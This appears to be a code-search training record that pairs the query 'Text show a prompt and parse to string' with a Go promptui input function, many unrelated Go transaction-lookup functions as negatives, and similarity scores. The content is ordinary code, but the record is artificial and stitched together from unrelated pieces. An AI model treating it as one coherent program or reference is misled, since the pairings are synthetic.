{\n\tu := fmt.Sprintf(\"/kms/wallets/%s/transactions/%s\", walletID, txnID)\n\ttxn := &Transaction{}\n\tp := &Params{}\n\tp.SetAuthProvider(s.auth)\n\terr := s.client.Call(http.MethodGet, u, nil, txn, p)\n\treturn txn, err\n}", "func (tx *tX) Transaction() (*tX, error) {\n\treturn tx, nil\n}", "func GetTransaction(retKey string) (models.TransactionCache, error) {\n\n\tdata, err := redisClient.Get(ctx, retKey).Bytes()\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\treturn models.TransactionCache{}, err\n\t}\n\n\tvar transaction models.TransactionCache\n\n\terr = json.Unmarshal(data, &transaction)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\treturn models.TransactionCache{}, err\n\t}\n\n\treturn transaction, nil\n}", "func (api *API) Get(tid string) (*pagarme.Response, *pagarme.Transaction, error) {\n\tresp, err := api.Config.Do(http.MethodGet, \"/transactions/\"+tid, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif werr := www.ExtractError(resp); werr != nil {\n\t\treturn werr, nil, nil\n\t}\n\tresult := &pagarme.Transaction{}\n\tif err := www.Unmarshal(resp, result); err != nil {\n\t\tapi.Config.Logger.Error(\"could not unmarshal transaction [Get]: \" + err.Error())\n\t\treturn nil, nil, err\n\t}\n\n\treturn www.Ok(), result, nil\n}", "func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, errors.Wrap(err, \"error unmarshaling Transaction\")\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\n\ttx := &peer.Transaction{}\n\terr := proto.Unmarshal(txBytes, tx)\n\treturn tx, err\n}", "func (sc *ServerConn) GetTransaction(ctx context.Context, txid string) (*GetTransactionResult, error) {\n\tvar resp GetTransactionResult\n\terr := sc.Request(ctx, \"blockchain.transaction.get\", positional{txid, true}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resp, nil\n}", "func GetTransaction(hostURL string, hostPort int, hash string) *bytes.Buffer {\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\treturn makePostRequest(hostURL, hostPort, \"f_transaction_json\", params)\n}", "func (b *Bitcoind) GetTransaction(txid string) (transaction Transaction, err error) {\n\tr, err := b.client.call(\"gettransaction\", []interface{}{txid})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transaction)\n\treturn\n}", "func (mp *TxPool) GetTransaction(hash Uint256) *Transaction {\n\tmp.RLock()\n\tdefer mp.RUnlock()\n\treturn mp.txnList[hash]\n}", "func (u *User) GetTransaction(nodeID, transactionID string) (map[string]interface{}, error) {\n\tlog.info(\"========== GET TRANSACTION ==========\")\n\turl := buildURL(path[\"users\"], u.UserID, path[\"nodes\"], nodeID, path[\"transactions\"], transactionID)\n\n\treturn u.do(\"GET\", url, \"\", nil)\n}", "func (b Block) GetTransaction(txHash cipher.SHA256) (Transaction, bool) {\n\ttxns := b.Body.Transactions\n\tfor i := range txns {\n\t\tif txns[i].Hash() == txHash {\n\t\t\treturn txns[i], true\n\t\t}\n\t}\n\treturn Transaction{}, false\n}", "func (m *TransactionMessage) GetTransaction() (*types.Tx, error) {\n\ttx := &types.Tx{}\n\tif err := tx.UnmarshalText(m.RawTx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}", "func (c *TransactionClient) Get(ctx context.Context, id int32) (*Transaction, error) {\n\treturn c.Query().Where(transaction.ID(id)).Only(ctx)\n}", "func (db *DB) GetTx() *GetTx {\n\treturn &GetTx{\n\t\tdb: db,\n\t}\n}", "func (c *Client) GetTransaction(ctx context.Context, txhash string) (GetTransactionResponse, error) {\n\tres, err := c.RpcClient.GetTransactionWithConfig(\n\t\tctx,\n\t\ttxhash,\n\t\trpc.GetTransactionConfig{\n\t\t\tEncoding: rpc.GetTransactionConfigEncodingBase64,\n\t\t},\n\t)\n\terr = checkRpcResult(res.GeneralResponse, err)\n\tif err != nil {\n\t\treturn GetTransactionResponse{}, err\n\t}\n\treturn getTransaction(res)\n}", "func (s *Session) Transaction() *Transaction {\n\t// acquire lock\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\treturn s.txn\n}", "func GetTx() *TX {\n\ttx := &TX{\n\t\tDB: DB.Begin(),\n\t\tfired: false,\n\t}\n\treturn tx\n}", "func (c *Context) GetTx() interface{} {\n\treturn c.tx\n}", "func (s *TXPoolServer) getTransaction(hash common.Uint256) *tx.Transaction {\n\treturn s.txPool.GetTransaction(hash)\n}", "func (s *transactionStore) Get(ctx context.Context, id configapi.TransactionID) (*configapi.Transaction, error) {\n\t// If the transaction is not already in the cache, get it from the underlying primitive.\n\tentry, err := s.transactions.Get(ctx, id)\n\tif err != nil {\n\t\treturn nil, errors.FromAtomix(err)\n\t}\n\ttransaction := entry.Value\n\ttransaction.Index = configapi.Index(entry.Index)\n\ttransaction.Version = uint64(entry.Version)\n\treturn transaction, nil\n}", "func (tp *TXPool) GetTransaction(hash common.Uint256) *types.Transaction {\n\ttp.RLock()\n\tdefer tp.RUnlock()\n\tif tx := tp.txList[hash]; tx == nil {\n\t\treturn nil\n\t}\n\treturn tp.txList[hash].Tx\n}", "func (f *FactoidTransaction) Get(ctx context.Context, c *Client) error {\n\t// TODO: Test this functionality\n\t// If the TransactionID is nil then we have nothing to query for.\n\tif f.TransactionID == nil {\n\t\treturn fmt.Errorf(\"txid is nil\")\n\t}\n\t// If the Transaction is already populated then there is nothing to do. If\n\t// the Hash is nil, we cannot populate it anyway.\n\tif f.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tparams := struct {\n\t\tHash *Bytes32 `json:\"hash\"`\n\t}{Hash: f.TransactionID}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(ctx, \"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\n\tif err := f.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func RetrieveTransaction(ctx context.Context, db *mongo.Collection, _id string) (*Transaction, error) {\n\n\tvar transaction Transaction\n\n\tid, err := primitive.ObjectIDFromHex(_id)\n\tif err != nil {\n\t\treturn nil, apierror.ErrInvalidID\n\t}\n\n\tif err := db.FindOne(ctx, bson.M{\"_id\": id}).Decode(&transaction); err != nil {\n\t\treturn nil, apierror.ErrNotFound\n\t}\n\n\t// fmt.Println(\"&transaction.FinancialAccountID\", &transaction.FinancialAccountID)\n\t// fmt.Printf(\"***************\\n&transaction.FinancialAccountID Type : %T\\n\", &transaction.FinancialAccountID)\n\n\treturn &transaction, nil\n}", "func (tangle *Tangle) Transaction(transactionID transaction.ID) *transaction.CachedTransaction {\n\treturn &transaction.CachedTransaction{CachedObject: tangle.transactionStorage.Load(transactionID.Bytes())}\n}", "func GetTransactionRef(userID, stockID uint32, ttype TransactionType, reservedStockQuantity int64, stockQuantity int64, price uint64, reservedCashTotal int64, total int64) *Transaction {\n\treturn &Transaction{\n\t\tUserId: userID,\n\t\tStockId: stockID,\n\t\tType: ttype,\n\t\tReservedStockQuantity: reservedStockQuantity,\n\t\tStockQuantity: stockQuantity,\n\t\tPrice: price,\n\t\tReservedCashTotal: reservedCashTotal,\n\t\tTotal: total,\n\t\tCreatedAt: utils.GetCurrentTimeISO8601(),\n\t}\n}", "func (c *Client) RetrieveTransaction(\n\tctx context.Context,\n\tid string,\n\tmint *string,\n) (*TransactionResource, error) {\n\tif mint == nil {\n\t\towner, _, err := NormalizedOwnerAndTokenFromID(ctx, id)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\t_, host, err := UsernameAndMintHostFromAddress(ctx, owner)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\tmint = &host\n\t}\n\n\treq, err := http.NewRequest(\"GET\",\n\t\tFullMintURL(ctx,\n\t\t\t*mint, fmt.Sprintf(\"/transactions/%s\", id), url.Values{}).String(), nil)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\treq.Header.Add(\"Mint-Protocol-Version\", ProtocolVersion)\n\tr, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\tdefer r.Body.Close()\n\n\tvar raw svc.Resp\n\tif err := json.NewDecoder(r.Body).Decode(&raw); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\tif r.StatusCode != http.StatusOK && r.StatusCode != http.StatusCreated {\n\t\tvar e errors.ConcreteUserError\n\t\terr = raw.Extract(\"error\", &e)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\treturn nil, errors.Trace(ErrMintClient{\n\t\t\tr.StatusCode, e.ErrCode, e.ErrMessage,\n\t\t})\n\t}\n\n\tvar transaction TransactionResource\n\tif err := raw.Extract(\"transaction\", &transaction); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\treturn &transaction, nil\n}", "func (transService *TransactionService) GetTransactionByRef(ref string) (*Transaction, error) {\n\ttrans, err := transService.Repo.GetTransactionByRef(ref)\n\t\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn trans, nil\n}", "func (s *Service) GetExplorerTransaction(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tid := r.FormValue(\"id\")\n\n\tdata := &Data{}\n\tdefer func() {\n\t\tif err := json.NewEncoder(w).Encode(data.TX); err != nil {\n\t\t\tutils.Logger().Warn().Err(err).Msg(\"cannot JSON-encode TX\")\n\t\t}\n\t}()\n\tif id == \"\" {\n\t\tutils.Logger().Warn().Msg(\"invalid id parameter\")\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\tdb := s.Storage.GetDB()\n\tbytes, err := db.Get([]byte(GetTXKey(id)))\n\tif err != nil {\n\t\tutils.Logger().Warn().Err(err).Str(\"id\", id).Msg(\"cannot read TX\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\ttx := new(Transaction)\n\tif rlp.DecodeBytes(bytes, tx) != nil {\n\t\tutils.Logger().Warn().Str(\"id\", id).Msg(\"cannot convert data from DB\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdata.TX = *tx\n}", "func (r Virtual_Guest) GetActiveTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getActiveTransaction\", nil, &r.Options, &resp)\n\treturn\n}", "func (gtx *GuardTx) GetTx() *sql.Tx {\n\treturn gtx.dbTx\n}", "func (c *Contract) GetUnknownTransaction() interface{} {\n\treturn c.UnknownTransaction\n}", "func GetTransactionById(pId int) *DOMAIN.Transaction {\n\t// Project structure\n\ttransaction := DOMAIN.Transaction{}\n\t// Add in Transaction variable, the project where ID is the same that the param\n\tres := getTransactionCollection().Find(db.Cond{\"TransactionID\": pId})\n\n\t//project.ProjectType = GetTypesByProjectId(pId)\n\n\t// Close session when ends the method\n\tdefer session.Close()\n\terr := res.One(&transaction)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil\n\t}\n\n\treturn &transaction\n}", "func (c Client) findTransaction(transactionID string) (*Transaction, error) {\n\tpath := fmt.Sprintf(\"/transactions/%s\", transactionID)\n\treq, err := http.NewRequest(\"GET\", c.getURL(path), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar marshalled map[string]*Transaction\n\treturn marshalled[\"transaction\"], c.executeRequestAndMarshal(req, &marshalled)\n}", "func (pt *PackedTransaction) GetSignTransaction() SignedTransaction {\n\terrHandle := func() {\n\t\tpanic(\"[PackedTransaction] GetSignTransaction failed\")\n\t}\n\n\thelper.CatchException(nil, errHandle)\n\n\tvar result SignedTransaction\n\tresult.Signatures = pt.signatures\n\tif pt.unPackedTrx != nil {\n\t\tresult.Transaction = *pt.unPackedTrx\n\t}\n\n\tswitch pt.Compression {\n\tcase None:\n\t\tresult.ContextFreeData = pt.PackedContextFreeData\n\tcase Zlib:\n\t\tresult.ContextFreeData = zlibUnCompressionContextFreeData(pt.PackedContextFreeData)\n\tdefault:\n\t\tpanic(\"Unknown transaction compression algorithm\")\n\t}\n\treturn result\n}", "func (c *BalanceClient) RetrieveTransaction(id string) (*BalanceTransaction, error) {\n\tbalanceTransaction := BalanceTransaction{}\n\terr := c.client.get(\"/balance/history/\"+id, nil, &balanceTransaction)\n\treturn &balanceTransaction, err\n}", "func (api *API) getTransactionByShortID(shortID string) (types.Transaction, error) {\n\tvar txShortID types.TransactionShortID\n\t_, err := fmt.Sscan(shortID, &txShortID)\n\tif err != nil {\n\t\treturn types.Transaction{}, err\n\t}\n\n\ttxn, found := api.cs.TransactionAtShortID(txShortID)\n\tif !found {\n\t\terr = errNotFound\n\t}\n\treturn txn, err\n}", "func GetBytesTransaction(tx *peer.Transaction) ([]byte, error) {\n\tbytes, err := proto.Marshal(tx)\n\treturn bytes, err\n}", "func GetTx(txhash string) (*model.Tx, error) {\n\turl := fmt.Sprintf(bchapi.TxUrl, txhash)\n\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttx, err := model.StringToTx(result)\n\treturn tx, err\n}", "func GetTransferringTx(db *gorp.DbMap) (records []*TxRecord, err error) {\n\t_, err = db.Select(&records, `SELECT * FROM \"record\" WHERE \"state\" = ?`, ExchangeStateTransferring)\n\treturn\n}", "func (s *Store) GetTx(txid common.Hash) *types.Transaction {\n\ttx, _ := s.rlp.Get(s.table.Txs, txid.Bytes(), &types.Transaction{}).(*types.Transaction)\n\n\treturn tx\n}", "func (b Blockstream) GetTransaction(txHash string) (*wire.MsgTx, error) {\n\turl := fmt.Sprintf(\"%s/tx/%s\", baseURL, txHash)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed to get a transaction: %s\", b)\n\t}\n\n\tvar tx transaction\n\tif err := json.NewDecoder(resp.Body).Decode(&tx); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsgTx := wire.NewMsgTx(tx.Version)\n\tmsgTx.LockTime = uint32(tx.Locktime)\n\n\tfor _, vin := range tx.Vin {\n\t\tvoutHash, err := chainhash.NewHashFromStr(vin.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tsigScript, err := hex.DecodeString(vin.Scriptsig)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar witness [][]byte\n\t\tfor _, w := range vin.Witness {\n\t\t\tws, err := hex.DecodeString(w)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\twitness = append(witness, ws)\n\t\t}\n\n\t\tnewInput := wire.NewTxIn(\n\t\t\twire.NewOutPoint(voutHash, vin.Vout),\n\t\t\tsigScript,\n\t\t\twitness,\n\t\t)\n\t\tnewInput.Sequence = uint32(vin.Sequence)\n\n\t\tmsgTx.AddTxIn(newInput)\n\t}\n\n\tfor _, vout := range tx.Vout {\n\t\tpkScript, err := hex.DecodeString(vout.Scriptpubkey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmsgTx.AddTxOut(\n\t\t\twire.NewTxOut(\n\t\t\t\tvout.Value,\n\t\t\t\tpkScript,\n\t\t\t),\n\t\t)\n\t}\n\n\tif msgTx.TxHash().String() != tx.Txid {\n\t\treturn nil, fmt.Errorf(\"transaction hash doesn't match\")\n\t}\n\n\treturn msgTx, nil\n}", "func (c *changeTrackerDB) ReadTxn() *txn {\n\treturn &txn{Txn: c.memdb.Txn(false)}\n}", "func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = rpc.client.Call(\"getrawtransaction\", []interface{}{h, 1}, &tx)\n\treturn tx, err\n}", "func (r Virtual_Guest_Block_Device_Template_Group) GetTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest_Block_Device_Template_Group\", \"getTransaction\", nil, &r.Options, &resp)\n\treturn\n}", "func (a API) GetRawTransaction(cmd *btcjson.GetRawTransactionCmd) (e error) {\n\tRPCHandlers[\"getrawtransaction\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (s *InventoryApiService) GetInventoryTransaction(id string, w http.ResponseWriter) error {\n\tctx := context.Background()\n\ttxn, err := s.db.GetInventoryTransaction(ctx, id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn EncodeJSONResponse(txn, nil, w)\n}", "func GetTrans(userName, token *string) (*[]request.TransSchema, error) {\n\tresp, err := request.GetCloudor(userName, token, \"/transaction/user/\"+*userName)\n\tif err != nil {\n\t\tfmt.Printf(\"getting transactions failed for user %s: %v\", *userName, err)\n\t\treturn nil, err\n\t}\n\n\ttransactions := []request.TransSchema{}\n\terr = json.Unmarshal(resp, &transactions)\n\tif err != nil {\n\t\tfmt.Printf(\"Internal error, cann't parse transaction response: %v\", err)\n\t\treturn nil, err\n\t}\n\treturn &transactions, nil\n}", "func (t *PendingTransaction) Get(input *PendingTransactionInput) (*PendingTransactions, error) {\n\tresp, err := t.c.Request(http.MethodGet, fmt.Sprintf(\"/pending_transactions/%s\", input.ID), new(bytes.Buffer), nil)\n\tif err != nil {\n\t\treturn &PendingTransactions{}, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar pendingTransactions *PendingTransactions\n\terr = json.NewDecoder(resp.Body).Decode(&pendingTransactions)\n\tif err != nil {\n\t\treturn &PendingTransactions{}, err\n\t}\n\treturn pendingTransactions, nil\n}", "func (b *Bitcoind) GetRawTransaction(txId string, verbose bool) (rawTx interface{}, err error) {\n\tr, err := b.client.call(\"getrawtransaction\", []interface{}{txId, verbose})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\tif !verbose {\n\t\terr = json.Unmarshal(r.Result, &rawTx)\n\t} else {\n\t\tvar t RawTransaction\n\t\terr = json.Unmarshal(r.Result, &t)\n\t\trawTx = t\n\t}\n\n\treturn\n}", "func (pgb *ChainDBRPC) GetRawTransaction(txid string) (*dcrjson.TxRawResult, error) {\n\ttxraw, err := rpcutils.GetTransactionVerboseByID(pgb.Client, txid)\n\tif err != nil {\n\t\tlog.Errorf(\"GetRawTransactionVerbose failed for: %s\", txid)\n\t\treturn nil, err\n\t}\n\treturn txraw, nil\n}", "func (m *SimulateRequest) GetTx() *Tx {\n\tif m != nil {\n\t\treturn m.Tx\n\t}\n\treturn nil\n}", "func (g *Graph) FindTransaction(id TransactionID) *Transaction {\n\tg.RLock()\n\ttx := g.transactions[id]\n\tg.RUnlock()\n\n\treturn tx\n}", "func (r *InMemorySourceReader) Transaction() *Transaction {\n\treturn NewTransaction(r)\n}", "func (l *LedgerState) ReturnTransaction(transactionID ledgerstate.TransactionID) (transaction *ledgerstate.Transaction) {\n\treturn l.UTXODAG.Transaction(transactionID)\n}", "func (r Virtual_Guest) GetLastTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getLastTransaction\", nil, &r.Options, &resp)\n\treturn\n}", "func (t *TxAPI) Get(hash string) (*api.ResultTx, error) {\n\tresp, statusCode, err := t.c.call(\"tx_get\", hash)\n\tif err != nil {\n\t\treturn nil, makeReqErrFromCallErr(statusCode, err)\n\t}\n\n\tvar r api.ResultTx\n\tif err = util.DecodeMap(resp, &r); err != nil {\n\t\treturn nil, errors.ReqErr(500, ErrCodeDecodeFailed, \"\", err.Error())\n\t}\n\n\treturn &r, nil\n}", "func (c Client) FindTransaction(transactionID string) (*Transaction, error) {\n\treturn c.findTransaction(transactionID)\n}", "func (a *transactionUsecase) GetByID(c context.Context, id int64) (*models.Transaction, error) {\n\n\tctx, cancel := context.WithTimeout(c, a.contextTimeout)\n\tdefer cancel()\n\n\tres, err := a.transactionRepo.GetByID(ctx, id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}", "func (r *Repository) TxGet(tx *dbr.Tx, userID int64) (*pb.User, error) {\n\treturn r.get(tx, userID)\n}", "func (o *Transaction) GetTransactionId() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.TransactionId\n}", "func (r *BTCRPC) GetTransactionDetail(txhash string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = r.Client.Call(\"getrawtransaction\", jsonrpc.Params{txhash, 1}, &tx)\n\treturn tx, err\n}", "func (l *LedgerState) Transaction(transactionID ledgerstate.TransactionID) *ledgerstate.CachedTransaction {\n\treturn l.UTXODAG.CachedTransaction(transactionID)\n}", "func (transaction *ScheduleSignTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}", "func (t *txLookup) Get(hash common.Hash) *types.Transaction {\n\tt.lock.RLock()\n\tdefer t.lock.RUnlock()\n\n\treturn t.all[hash]\n}", "func (k Keeper) GetExtTransaction(ctx sdk.Context, id uint64) types.ExtTransaction {\n\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.ExtTransactionKey))\n\tvar extTransaction types.ExtTransaction\n\tk.cdc.MustUnmarshalBinaryBare(store.Get(GetExtTransactionIDBytes(id)), &extTransaction)\n\treturn extTransaction\n}", "func getTx(txn *badger.Txn) func([]byte) ([]byte, error) {\n\treturn func(key []byte) ([]byte, error) {\n\t\t// Badger returns an \"item\" upon GETs, we need to copy the actual value\n\t\t// from the item and return it.\n\t\titem, err := txn.Get(key)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, badger.ErrKeyNotFound) {\n\t\t\t\treturn nil, storage.ErrNotFound\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\n\t\tval := make([]byte, item.ValueSize())\n\t\treturn item.ValueCopy(val)\n\t}\n}", "func (client *clientImpl) GetTransactionByHash(tx string) (val *Transaction, err error) {\n\n\terr = client.Call2(\"eth_getTransactionByHash\", &val, tx)\n\n\treturn\n}", "func (pool *TxPool) Get(hash common.Hash) *types.Transaction {\n\treturn pool.all.Get(hash)\n}", "func (transaction *TokenUpdateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}", "func (transaction *AccountCreateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}", "func (base *BaseSMTransaction) GetSMTransaction() (currentStateName string, stateEvents fsm.Events, stateCallbacks fsm.Callbacks, err error) {\n\n\t// check if state exists or not\n\tif _, err = base.getDetailStatus(base.CurrentStatus); err != nil {\n\t\treturn\n\t}\n\n\t// get all po c status\n\tPoCStatus, _ := base.GetTransactionStatus()\n\n\t// assign current state name\n\tcurrentStateName = PoCStatus[base.CurrentStatus].Name // current state\n\n\t// assign event transitions\n\tstateEvents = fsm.Events{\n\t\t// normal transitions\n\t\t{\n\t\t\tName: constant.TransactionConfirmed, // transitions name\n\t\t\tSrc: []string{PoCStatus[constant.TransactionNew].Name}, // source state name\n\t\t\tDst: PoCStatus[constant.TransactionOnProgress].Name, // destination state name\n\t\t},\n\t\t{\n\t\t\tName: constant.TransactionFinished,\n\t\t\tSrc: []string{PoCStatus[constant.TransactionOnProgress].Name},\n\t\t\tDst: PoCStatus[constant.TransactionDone].Name,\n\t\t},\n\t\t{\n\t\t\tName: constant.TransactionCompleted,\n\t\t\tSrc: []string{PoCStatus[constant.TransactionDone].Name},\n\t\t\tDst: PoCStatus[constant.TransactionComplete].Name,\n\t\t},\n\t}\n\n\t// assign callback\n\t// this example you can change state to on progress,\n\t// but it will always can't change state to delivered\n\tstateCallbacks = fsm.Callbacks{\n\t\t\"before_\" + constant.TransactionConfirmed: func(e *fsm.Event) {\n\t\t\tstate, err := base.TransactionConfirmed(e)\n\t\t\tif !state || err != nil {\n\t\t\t\te.Cancel()\n\t\t\t}\n\t\t},\n\t}\n\n\treturn\n}", "func (s *RpcClient) GetConfirmedTransaction(ctx context.Context, txhash string) (GetConfirmedTransactionResponse, error) {\n\tres := struct {\n\t\tGeneralResponse\n\t\tResult GetConfirmedTransactionResponse `json:\"result\"`\n\t}{}\n\terr := s.request(ctx, \"getConfirmedTransaction\", []interface{}{txhash, \"json\"}, &res)\n\tif err != nil {\n\t\treturn GetConfirmedTransactionResponse{}, err\n\t}\n\treturn res.Result, nil\n}", "func (rpc BitcoinRPC) OmniGetTransaction(h string) ([]byte, error) {\n\tvar (\n\t\tomniTx []byte\n\t\terr error\n\t)\n\terr = rpc.client.Call(\"omni_gettransaction\", h, &omniTx)\n\treturn omniTx, err\n}", "func (c *Client) GetTransactions(queryParams ...string) (map[string]interface{}, error) {\n\tlog.info(\"========== GET CLIENT TRANSACTIONS ==========\")\n\turl := buildURL(path[\"transactions\"])\n\n\treturn c.do(\"GET\", url, \"\", queryParams)\n}", "func (data *Data) GetTx(hash chainhash.Hash) (*wire.MsgTx, error) {\n\tdb, err := data.openDb()\n\tdefer data.closeDb(db)\n\tif err != nil {\n\t\tlog.Printf(\"data.openDb Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\tvar bs []byte\n\terr = db.QueryRow(\"SELECT data FROM tx WHERE hash=?\", hash.CloneBytes()).Scan(&bs)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn nil, nil\n\t\t}\n\t\tlog.Printf(\"db.QueryRow Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\ttx, err := data.bsToMsgTx(bs)\n\tif err != nil {\n\t\tlog.Printf(\"data.bsToMsgTx Error : %+v\", err)\n\t\treturn nil, err\n\t}\n\treturn tx, nil\n}", "func (c *Contract) GetAfterTransaction() interface{} {\n\treturn c.AfterTransaction\n}", "func (transaction *ScheduleSignTransaction) GetTransactionMemo() string {\n\treturn transaction.Transaction.GetTransactionMemo()\n}", "func (bdm *MySQLDBManager) GetTransactionsObject() (TranactionsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxs := Tranactions{}\n\ttxs.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &txs, nil\n}", "func (transaction *FileCreateTransaction) GetTransactionID() TransactionID {\n\treturn transaction.Transaction.GetTransactionID()\n}", "func (r *Repository) Transaction() (middleware.Transaction, error) {\n\treturn r.Database.Transaction()\n}" ]
[ "0.79497474", "0.7904028", "0.78848255", "0.7859633", "0.7743627", "0.7739347", "0.77352023", "0.7726688", "0.76812166", "0.76807255", "0.7600162", "0.7588036", "0.75581026", "0.7470296", "0.74640834", "0.7309291", "0.7306762", "0.72984374", "0.72803295", "0.72687507", "0.72488475", "0.7240248", "0.7240248", "0.7240248", "0.7234864", "0.71990085", "0.7145932", "0.7140621", "0.7134322", "0.7106317", "0.7074971", "0.7041859", "0.6993211", "0.6977707", "0.69370353", "0.6936884", "0.6914542", "0.68884563", "0.6877412", "0.68327695", "0.6802603", "0.67343223", "0.6718439", "0.6717262", "0.6706091", "0.6702217", "0.66673756", "0.66635114", "0.66567934", "0.6579195", "0.6565276", "0.6496811", "0.6475035", "0.6447251", "0.6441336", "0.6431137", "0.6429983", "0.6416676", "0.63970315", "0.63845414", "0.6376796", "0.6330918", "0.63142705", "0.6281767", "0.6279759", "0.62503237", "0.6246058", "0.62436247", "0.62124574", "0.6202347", "0.61928964", "0.61836076", "0.6153697", "0.61470735", "0.61421645", "0.6135504", "0.6132587", "0.6126131", "0.6120693", "0.6117619", "0.60936385", "0.60821736", "0.60801446", "0.607448", "0.6068845", "0.60617924", "0.60493654", "0.60349", "0.60228574", "0.60224354", "0.6020634", "0.5989974", "0.5981988", "0.59805906", "0.597872", "0.5966224", "0.595788", "0.5954443", "0.5947659", "0.5946741" ]
0.7421291
15
Text show a prompt and parse to string.
func (inputText) Text(name string, required bool) (string, error) { var prompt promptui.Prompt if required { prompt = promptui.Prompt{ Label: name, Pointer: promptui.PipeCursor, Validate: validateEmptyInput, Templates: defaultTemplate(), } } else { prompt = promptui.Prompt{ Label: name, Pointer: promptui.PipeCursor, Templates: defaultTemplate(), } } return prompt.Run() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
